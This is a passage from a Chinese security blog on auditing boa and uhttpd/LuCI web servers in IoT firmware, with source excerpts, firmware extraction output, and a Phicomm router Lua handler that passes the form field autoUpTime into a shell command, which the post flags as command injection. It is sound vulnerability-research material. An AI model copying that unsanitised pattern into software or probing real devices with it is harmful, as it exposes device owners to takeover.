<span class="k">if</span> <span class="p">(</span><span class="n">vhost_root</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">current1</span><span class="o">-></span><span class="n">real_len</span> <span class="o">+</span> <span class="n">uri_len</span> <span class="o">-</span>
<span class="n">current1</span><span class="o">-></span><span class="n">fake_len</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">></span> <span class="k">sizeof</span><span class="p">(</span><span class="n">pathname</span><span class="p">))</span> <span class="p">{</span>
<span class="n">log_error_doc</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="n">fputs</span><span class="p">(</span><span class="s">"uri too long!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stderr</span><span class="p">);</span>
<span class="n">send_r_bad_request</span><span class="p">(</span><span class="n">req</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">pathname</span><span class="p">,</span> <span class="n">current1</span><span class="o">-></span><span class="n">realname</span><span class="p">,</span> <span class="n">current1</span><span class="o">-></span><span class="n">real_len</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">(</span><span class="n">pathname</span> <span class="o">+</span> <span class="n">current1</span><span class="o">-></span><span class="n">real_len</span><span class="p">,</span>
<span class="o">&</span><span class="n">req</span><span class="o">-></span><span class="n">request_uri</span><span class="p">[</span><span class="n">current1</span><span class="o">-></span><span class="n">fake_len</span><span class="p">],</span>
<span class="n">uri_len</span> <span class="o">-</span> <span class="n">current1</span><span class="o">-></span><span class="n">fake_len</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="cm">/* the +1 copies the NUL */</span>
<span class="p">}</span>
<span class="cp">#ifdef FASCIST_LOGGING
</span> <span class="n">log_error_time</span><span class="p">();</span>
<span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span>
<span class="s">"%s:%d - pathname in init_script_alias is: </span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s"> (</span><span class="se">\"</span><span class="s">%s</span><span class="se">\"</span><span class="s">)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="n">__FILE__</span><span class="p">,</span> <span class="n">__LINE__</span><span class="p">,</span> <span class="n">pathname</span><span class="p">,</span> <span class="n">pathname</span> <span class="o">+</span> <span class="n">current1</span><span class="o">-></span><span class="n">real_len</span><span class="p">);</span>
<span class="cp">#endif
</span> <span class="k">if</span> <span class="p">(</span><span class="n">strncmp</span><span class="p">(</span><span class="s">"nph-"</span><span class="p">,</span> <span class="n">pathname</span> <span class="o">+</span> <span class="n">current1</span><span class="o">-></span><span class="n">real_len</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span>
<span class="o">||</span> <span class="p">(</span><span class="n">req</span><span class="o">-></span><span class="n">http_version</span> <span class="o">==</span> <span class="n">HTTP09</span><span class="p">))</span>
<span class="n">req</span><span class="o">-></span><span class="n">cgi_type</span> <span class="o">=</span> <span class="n">NPH</span><span class="p">;</span>
<span class="k">else</span>
<span class="n">req</span><span class="o">-></span><span class="n">cgi_type</span> <span class="o">=</span> <span class="n">CGI</span><span class="p">;</span>
<span class="p">...</span>
<span class="n">req</span><span class="o">-></span><span class="n">pathname</span> <span class="o">=</span> <span class="n">strdup</span><span class="p">(</span><span class="n">pathname</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">req</span><span class="o">-></span><span class="n">pathname</span><span class="p">)</span> <span class="p">{</span>
<span class="n">boa_perror</span><span class="p">(</span><span class="n">req</span><span class="p">,</span> <span class="s">"unable to strdup pathname for req->pathname"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>其中的关键就在于<code class="language-plaintext highlighter-rouge">ScriptAlias</code>设置的寻找,在<code class="language-plaintext highlighter-rouge">boa.conf</code>配置文件中,该指令设置CGI执行的真实目录:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Redirect, Alias, and ScriptAlias <path1> <path2>
Redirect, Alias, and ScriptAlias all have the same semantics -- they match the beginning of a request and take appropriate action. Use Redirect for other servers, Alias for the same server, and ScriptAlias to enable directories for script execution.
</code></pre></div></div>
<h2>实际案例</h2>
<p>2017年<a href="https://www.anquanke.com/post/id/185336">vivetok摄像头</a>固件中就使用的是boa二次开发的Web服务器:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>larry@u:~/opt/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root$ strings -a ./usr/sbin/httpd | grep boa
boa_set_default_values_for_server_push_multiple_stream_uris
src/boa.c
[debug] in boa_it_is_server_push_multiple_stream_uri() match %s %s
boa: server version %s
/etc/conf.d/boa/boa.conf
Could not open boa.conf for reading.
Attempt to hash NULL or empty string! [boa_hash]!
boa: server version %s(%s)
boa: starting server pid=%d, port %d
%s/boa-temp.XXXXXX
/etc/conf.d/boa/modules
/etc/conf.d/boa/vadp-available
/etc/conf.d/boa/vadp-enabled
</code></pre></div></div>
<p>搜索<code class="language-plaintext highlighter-rouge">ScriptAlias</code>可知其真实的CGI文件路径为<code class="language-plaintext highlighter-rouge">/usr/share/www/cgi-bin/</code>,也可以用<code class="language-plaintext highlighter-rouge">find</code>命令验证其CGI功能都对应一个可执行的cgi程序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>larry@u:~/opt/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted$ find . -name "boa.conf"
./defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/boa/boa.conf
larry@u:~/opt/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted$ grep ScriptAlias ./defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/boa/boa.conf
# Redirect, Alias, and ScriptAlias all have the same semantics -- they
# Redirect for other servers, Alias for the same server, and ScriptAlias
# ScriptAlias: Maps a virtual path to a directory for serving scripts
# Example: ScriptAlias /htbin/ /www/htbin/
#ScriptAlias /cgi-bin/ /home/httpd/cgi-bin/
ScriptAlias /cgi-bin/ /usr/share/www/cgi-bin/
#ScriptAlias /api/ /usr/share/www/cgi-bin/
larry@u:~/opt/_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted$ find . -name "*.cgi" | head
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/anonymous/getparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/anonymous/setparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/viewer/getparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/viewer/setparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/viewer/senddata.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/viewer/getparam_cache.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/operator/getparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/operator/setparam.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/operator/senddata.cgi
./_rootfs.img.extracted/squashfs-root/usr/share/www/cgi-bin/operator/getparam_cache.cgi
</code></pre></div></div>
<p>该httpd程序是按照boa的特性,根据请求的<code class="language-plaintext highlighter-rouge">pathname</code>执行相关的<code class="language-plaintext highlighter-rouge">*.cgi</code>程序。但也有开发者会修改boa源码,增加一些特有的<code class="language-plaintext highlighter-rouge">alias</code>或者路由信息,比如360路由器固件中的boa,会根据URI来<code class="language-plaintext highlighter-rouge">execve</code>不同的cgi程序:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.data:00423048 off_423048: .word aRouterWCgi # DATA XREF: sub_403F24+24↑o
.data:00423048 # sub_403F24+50↑o
.data:00423048 # "^/router/\\w+\\.cgi$"
.data:0042304C off_42304C: .word aWebCgiBinCgite # DATA XREF: sub_403FF0+30↑o
.data:0042304C # "/web/cgi-bin/cgitest.cgi"
.data:00423050 .word 0
.data:00423054 .word 0
.data:00423058 .word aWeb360WCgi # "^/web360/\\w+\\.cgi$"
.data:0042305C .word aWebWeb360N360C # "/web/web360/n360.cgi"
.data:00423060 .word 0
.data:00423064 .word 0
.data:00423068 .word aWebnoauthWCgi # "^/webnoauth/\\w+\\.cgi$"
.data:0042306C .word aWebWebnoauthNa # "/web/webnoauth/na.cgi"
.data:00423070 .word 0
.data:00423074 .word 0
.data:00423078 .word aAppWWWCgi # "^/app/(\\w+)/(\\w+/)*\\w+\\.cgi$"
.data:0042307C .word 0
.data:00423080 .word 0x403898
.data:00423084 .word 0x404298
.data:00423088 .word 0
</code></pre></div></div>
<p>在执行cgi程序的<code class="language-plaintext highlighter-rouge">main</code>函数中,会调用<code class="language-plaintext highlighter-rouge">IGD_GetCgiHandler</code>函数得到请求<code class="language-plaintext highlighter-rouge">\\w+\\.cgi</code>对应的handler函数,最终跳转执行:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">IGD_CgiCall</span><span class="p">(</span><span class="n">undefined4</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">size_t</span> <span class="n">__n</span><span class="p">;</span>
<span class="n">undefined</span> <span class="n">auStack20</span> <span class="p">[</span><span class="mi">4</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">local_10</span><span class="p">;</span>
<span class="n">code</span> <span class="o">*</span><span class="n">local_c</span><span class="p">;</span>
<span class="n">local_c</span> <span class="o">=</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">local_c</span> <span class="o">=</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="n">IGD_GetCgiHandler</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="o">-</span><span class="mh">0xefff</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">__n</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"HTTP/1.1 200 OK</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="mh">0x1f</span><span class="p">,</span><span class="s">"HTTP/1.1 200 OK</span><span class="se">\r\n</span><span class="s">"</span><span class="p">,</span><span class="n">__n</span><span class="p">);</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x6598</span><span class="p">)(</span><span class="n">auStack20</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">local_10</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x67d4</span><span class="p">)(</span><span class="n">param_1</span><span class="p">);</span>
<span class="n">local_10</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="n">local_c</span><span class="p">)(</span><span class="mi">0</span><span class="p">,</span><span class="n">param_2</span><span class="p">,</span><span class="n">auStack20</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">local_10</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">undefined4</span> <span class="nf">IGD_GetCgiHandler</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
<span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">cgi_perm_flag</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="o">&</span><span class="n">IGD_CGI_FUN_MAP</span><span class="p">)[</span><span class="n">local_c</span> <span class="o">*</span> <span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">iVar1</span> <span class="o">=</span> <span class="n">strcmp</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">IGD_CGI_FUN_MAP</span><span class="p">)[</span><span class="n">local_c</span> <span class="o">*</span> <span class="mi">3</span><span class="p">],</span><span class="n">param_1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="n">local_c</span> <span class="o">=</span> <span class="n">local_c</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">cgi_perm_flag</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">DAT_0002e024</span> <span class="o">+</span> <span class="n">local_c</span> <span class="o">*</span> <span class="mh">0xc</span><span class="p">);</span>
<span class="k">return</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">DAT_0002e020</span> <span class="o">+</span> <span class="n">local_c</span> <span class="o">*</span> <span class="mh">0xc</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<h1>0x02 uhttpd</h1>
<p><a href="https://openwrt.org/docs/guide-user/services/webserver/http.uhttpd">uHTTPd</a>作为OpenWrt中默认的HTTP服务器,主要是用来配合<a href="https://openwrt.org/docs/guide-user/luci/luci.essentials">LuCI</a> Web接口方便OpenWrt设备的管理,<a href="https://openwrt.org/docs/guide-user/services/webserver/uhttpd">支持</a>CGI、Lua和UBUS完成对请求的处理。在IoT设备上使用OpenWrt比较常见的情况是,结合uhttpd使用LuCI框架编写lua处理脚本,安全审计偏向于Web安全中的代码审计,也会有lua的逆向内容需要解决。</p>
<h2>源码分析</h2>
<p>uhttp的<a href="https://git.openwrt.org/?p=project/uhttpd.git;a=summary">代码</a>中,接收完请求头后调用<code class="language-plaintext highlighter-rouge">uh_handle_request</code>函数,使用<code class="language-plaintext highlighter-rouge">dispatch_find</code>函数根据请求的url找到合适的<code class="language-plaintext highlighter-rouge">dispatch_handler</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">uh_dispatch_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">dispatch_handler</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">list_add_tail</span><span class="p">(</span><span class="o">&</span><span class="n">d</span><span class="o">-></span><span class="n">list</span><span class="p">,</span> <span class="o">&</span><span class="n">dispatch_handlers</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">static</span> <span class="k">struct</span> <span class="n">dispatch_handler</span> <span class="o">*</span>
<span class="nf">dispatch_find</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">url</span><span class="p">,</span> <span class="k">struct</span> <span class="n">path_info</span> <span class="o">*</span><span class="n">pi</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">dispatch_handler</span> <span class="o">*</span><span class="n">d</span><span class="p">;</span>
<span class="n">list_for_each_entry</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="o">&</span><span class="n">dispatch_handlers</span><span class="p">,</span> <span class="n">list</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">pi</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">d</span><span class="o">-></span><span class="n">check_url</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">d</span><span class="o">-></span><span class="n">check_path</span><span class="p">(</span><span class="n">pi</span><span class="p">,</span> <span class="n">url</span><span class="p">))</span>
<span class="k">return</span> <span class="n">d</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">d</span><span class="o">-></span><span class="n">check_path</span><span class="p">)</span>
<span class="k">continue</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">d</span><span class="o">-></span><span class="n">check_url</span><span class="p">(</span><span class="n">url</span><span class="p">))</span>
<span class="k">return</span> <span class="n">d</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>而<code class="language-plaintext highlighter-rouge">cgi_prefix</code>在<code class="language-plaintext highlighter-rouge">/etc/config/uhttpd</code><a href="https://openwrt.org/docs/guide-user/services/webserver/uhttpd">配置文件</a>中的默认值为<code class="language-plaintext highlighter-rouge">/cgi-bin</code>,并且程序在<code class="language-plaintext highlighter-rouge">main</code>函数中默认添加了<code class="language-plaintext highlighter-rouge">cgi_dispatch</code>,当请求的url通过<code class="language-plaintext highlighter-rouge">check_cgi_path</code>函数校验,则会调用<code class="language-plaintext highlighter-rouge">cgi_handle_request</code>函数回调<code class="language-plaintext highlighter-rouge">cgi_main</code>函数<code class="language-plaintext highlighter-rouge">execl</code>执行对应的CGI程序:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">cgi_handle_request</span><span class="p">(</span><span class="k">struct</span> <span class="n">client</span> <span class="o">*</span><span class="n">cl</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">url</span><span class="p">,</span> <span class="k">struct</span> <span class="n">path_info</span> <span class="o">*</span><span class="n">pi</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">S_IFREG</span> <span class="o">|</span> <span class="n">S_IXOTH</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">escaped_url</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pi</span><span class="o">-></span><span class="n">ip</span> <span class="o">&&</span> <span class="o">!</span><span class="p">((</span><span class="n">pi</span><span class="o">-></span><span class="n">stat</span><span class="p">.</span><span class="n">st_mode</span> <span class="o">&</span> <span class="n">mode</span><span class="p">)</span> <span class="o">==</span> <span class="n">mode</span><span class="p">))</span> <span class="p">{</span>
<span class="n">escaped_url</span> <span class="o">=</span> <span class="n">uh_htmlescape</span><span class="p">(</span><span class="n">url</span><span class="p">);</span>
<span class="n">uh_client_error</span><span class="p">(</span><span class="n">cl</span><span class="p">,</span> <span class="mi">403</span><span class="p">,</span> <span class="s">"Forbidden"</span><span class="p">,</span>
<span class="s">"You don't have permission to access %s on this server."</span><span class="p">,</span>
<span class="n">escaped_url</span> <span class="o">?</span> <span class="n">escaped_url</span> <span class="o">:</span> <span class="s">"the url"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">escaped_url</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="n">escaped_url</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">uh_create_process</span><span class="p">(</span><span class="n">cl</span><span class="p">,</span> <span class="n">pi</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">cgi_main</span><span class="p">))</span> <span class="p">{</span>
<span class="n">uh_client_error</span><span class="p">(</span><span class="n">cl</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="s">"Internal Server Error"</span><span class="p">,</span>
<span class="s">"Failed to create CGI process: %s"</span><span class="p">,</span> <span class="n">strerror</span><span class="p">(</span><span class="n">errno</span><span class="p">));</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">struct</span> <span class="n">dispatch_handler</span> <span class="n">cgi_dispatch</span> <span class="o">=</span> <span class="p">{</span>
<span class="p">.</span><span class="n">script</span> <span class="o">=</span> <span class="nb">true</span><span class="p">,</span>
<span class="p">.</span><span class="n">check_path</span> <span class="o">=</span> <span class="n">check_cgi_path</span><span class="p">,</span>
<span class="p">.</span><span class="n">handle_request</span> <span class="o">=</span> <span class="n">cgi_handle_request</span><span class="p">,</span>
<span class="p">};</span>
</code></pre></div></div>
<p>最终调用的<code class="language-plaintext highlighter-rouge">/www/cgi-bin/luci</code>即LuCI,是遵循MVC理念的后端Web处理<a href="https://github.com/openwrt/luci/wiki">框架</a>,详细分析可参看<a href="https://www.cnblogs.com/zmkeil/archive/2013/05/14/3078774.html">《Luci实现框架》</a>。LuCI在<code class="language-plaintext highlighter-rouge">/usr/lib/lua/luci/controller</code>目录下的lua脚本包含请求url的相关路由信息,这些脚本中的<code class="language-plaintext highlighter-rouge">index</code>函数,调用<code class="language-plaintext highlighter-rouge">entry (path, target, title, order)</code>函数创建dispatching node,需要重点关注<code class="language-plaintext highlighter-rouge">target</code>参数中可能传递<code class="language-plaintext highlighter-rouge">call</code>函数来调用函数处理请求:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>entry (path, target, title, order)
Create a new dispatching node and define common parameters.
Parameters
path: Virtual path
target: Target function to call when dispatched.
title: Destination node title
order: Destination node order value (optional)
Return value:
Dispatching tree node
</code></pre></div></div>
<h2>实际案例</h2>
<p>某款<a href="http://www.phicomm.com/cn/support.php/Soho/software_support/t/sm.html">斐讯</a>路由器的固件就是基于OpenWrt开发的,虽然使用的是<a href="https://openwrt.org/docs/guide-user/luci/luci.on.lighttpd">lighttpd</a>作为HTTP服务器,但最终调用的还是LuCI。关注到其后台自动更新处的脚本<code class="language-plaintext highlighter-rouge">/usr/lib/lua/luci/controller/admin/autoupgrade.lua</code>中蕴涵的路由及handler信息:</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="nf">index</span><span class="p">()</span>
<span class="kd">local</span> <span class="n">page</span>
<span class="n">page</span> <span class="o">=</span> <span class="n">entry</span><span class="p">({</span><span class="s2">"admin"</span><span class="p">,</span> <span class="s2">"more_sysset"</span><span class="p">,</span> <span class="s2">"autoupgrade"</span><span class="p">},</span> <span class="n">call</span><span class="p">(</span><span class="s2">"auto_up"</span><span class="p">),</span> <span class="n">_</span><span class="p">(</span><span class="s2">"autoupgrade"</span><span class="p">),</span> <span class="mi">81</span><span class="p">)</span>
<span class="n">entry</span><span class="p">({</span><span class="s2">"admin"</span><span class="p">,</span> <span class="s2">"more_sysset"</span><span class="p">,</span> <span class="s2">"autoupgrade"</span><span class="p">,</span> <span class="s2">"save"</span><span class="p">},</span> <span class="n">call</span><span class="p">(</span><span class="s2">"save"</span><span class="p">),</span> <span class="kc">nil</span><span class="p">,</span> <span class="kc">nil</span><span class="p">)</span>
<span class="n">entry</span><span class="p">({</span><span class="s2">"admin"</span><span class="p">,</span> <span class="s2">"more_sysset"</span><span class="p">,</span> <span class="s2">"autoupgrade"</span><span class="p">,</span> <span class="s2">"recheck"</span><span class="p">},</span> <span class="n">call</span><span class="p">(</span><span class="s2">"recheck"</span><span class="p">),</span> <span class="kc">nil</span><span class="p">,</span> <span class="kc">nil</span><span class="p">)</span>
<span class="n">entry</span><span class="p">({</span><span class="s2">"admin"</span><span class="p">,</span> <span class="s2">"more_sysset"</span><span class="p">,</span> <span class="s2">"autoupgrade"</span><span class="p">,</span> <span class="s2">"upgrade"</span><span class="p">},</span> <span class="n">call</span><span class="p">(</span><span class="s2">"upgrade"</span><span class="p">),</span> <span class="kc">nil</span><span class="p">,</span> <span class="kc">nil</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>其在调用<code class="language-plaintext highlighter-rouge">save</code>函数过程中,接收form参数<code class="language-plaintext highlighter-rouge">autoUpTime</code>拼接命令执行,就有可能造成命令注入的问题:</p>
<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="nf">save</span><span class="p">()</span>
<span class="kd">local</span> <span class="n">time</span> <span class="o">=</span> <span class="n">luci</span><span class="p">.</span><span class="n">http</span><span class="p">.</span><span class="n">formvalue</span><span class="p">(</span><span class="s2">"autoUpTime"</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">mode</span> <span class="o">=</span> <span class="n">luci</span><span class="p">.</span><span class="n">http</span><span class="p">.</span><span class="n">formvalue</span><span class="p">(</span><span class="s2">"mode"</span><span class="p">)</span>
<span class="kd">local</span> <span class="n">upgrading</span> <span class="o">=</span> <span class="s2">"1"</span>
<span class="k">if</span> <span class="n">mode</span> <span class="o">==</span> <span class="s2">"1"</span> <span class="k">then</span>
<span class="n">luci</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s2">"uci set system.autoupgrade.up_time=%s"</span> <span class="o">%</span> <span class="n">time</span><span class="p">)</span>
<span class="n">luci</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s2">"uci set system.autoupgrade.up_type=0"</span><span class="p">)</span>
<span class="n">luci</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s2">"uci commit system"</span><span class="p">)</span>
<span class="n">scheduletask</span><span class="p">.</span><span class="n">settaskatr</span><span class="p">(</span><span class="s2">"system"</span><span class="p">,</span> <span class="s2">"autoupgrade"</span><span class="p">,</span> <span class="s2">"/lib/auto_upgrade.sh"</span><span class="p">,</span> <span class="s2">"yes"</span><span class="p">,</span> <span class="s2">"10"</span><span class="p">,</span><span class="s2">"up_time"</span><span class="p">)</span>
<span class="n">scheduletask</span><span class="p">.</span><span class="n">cfgscdutskbylua</span><span class="p">(</span><span class="s2">"add"</span><span class="p">,</span><span class="s2">"system"</span><span class="p">,</span><span class="s2">"autoupgrade"</span><span class="p">)</span>
<span class="k">elseif</span> <span class="n">mode</span> <span class="o">==</span> <span class="s2">"0"</span> <span class="k">then</span>
<span class="n">luci</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s2">"uci set system.autoupgrade.up_type=1"</span><span class="p">)</span>
<span class="n">luci</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s2">"uci commit system"</span><span class="p">)</span>
<span class="n">scheduletask</span><span class="p">.</span><span class="n">cfgscdutskbylua</span><span class="p">(</span><span class="s2">"del"</span><span class="p">,</span><span class="s2">"system"</span><span class="p">,</span><span class="s2">"autoupgrade"</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">luci</span><span class="p">.</span><span class="n">http</span><span class="p">.</span><span class="n">redirect</span><span class="p">(</span><span class="n">luci</span><span class="p">.</span><span class="n">dispatcher</span><span class="p">.</span><span class="n">build_url</span><span class="p">(</span><span class="s2">"admin"</span><span class="p">,</span><span class="s2">"more_sysset"</span><span class="p">,</span><span class="s2">"autoupgrade"</span><span class="p">),{</span>
<span class="n">mode</span><span class="o">=</span><span class="n">mode</span><span class="p">,</span>
<span class="n">upgrading</span> <span class="o">=</span> <span class="n">upgrading</span>
<span class="p">})</span>
<span class="k">end</span>
<span class="c1">--- Execute a given shell command and return the error code</span>
<span class="c1">-- @class function</span>
<span class="c1">-- @name call</span>
<span class="c1">-- @param ... Command to call</span>
<span class="c1">-- @return Error code of the command</span>
<span class="k">function</span> <span class="nf">call</span><span class="p">(</span><span class="o">...</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">os.execute</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="o">/</span> <span class="mi">256</span>
<span class="k">end</span>
</code></pre></div></div>
<p>有些基于LuCI的固件会将lua脚本预编译成为字节码加速执行,这就需要针对性地<a href="http://webcache.googleusercontent.com/search?q=cache:DRSZOu-QEBUJ:storypku.com/2015/07/+&cd=5&hl=zh-CN&ct=clnk">反编译</a>OpenWRT Lua Bytecode。还有些更改lua虚拟机的<a href="https://e3pem.github.io/2019/07/03/IoT/%E5%B0%8F%E7%B1%B3%E8%B7%AF%E7%94%B1%E5%99%A8%E4%BB%8E%E5%BC%80%E5%A7%8B%E5%88%B0%E6%94%BE%E5%BC%83/">情况</a>,需要深入逆向解析其自定义的opcode,并配合历史固件版本分析。当然,lua语言自身的<a href="https://conference.hitb.org/hitbsecconf2019ams/materials/D1T1%20-%20SeasCoASA%20-%20Exploiting%20a%20Small%20Leak%20in%20a%20Great%20Ship%20-%20Kaiyi%20Xu%20&%20Lily%20Tang.pdf">安全问题</a>有时也可以考虑在攻击面范围内。</p>
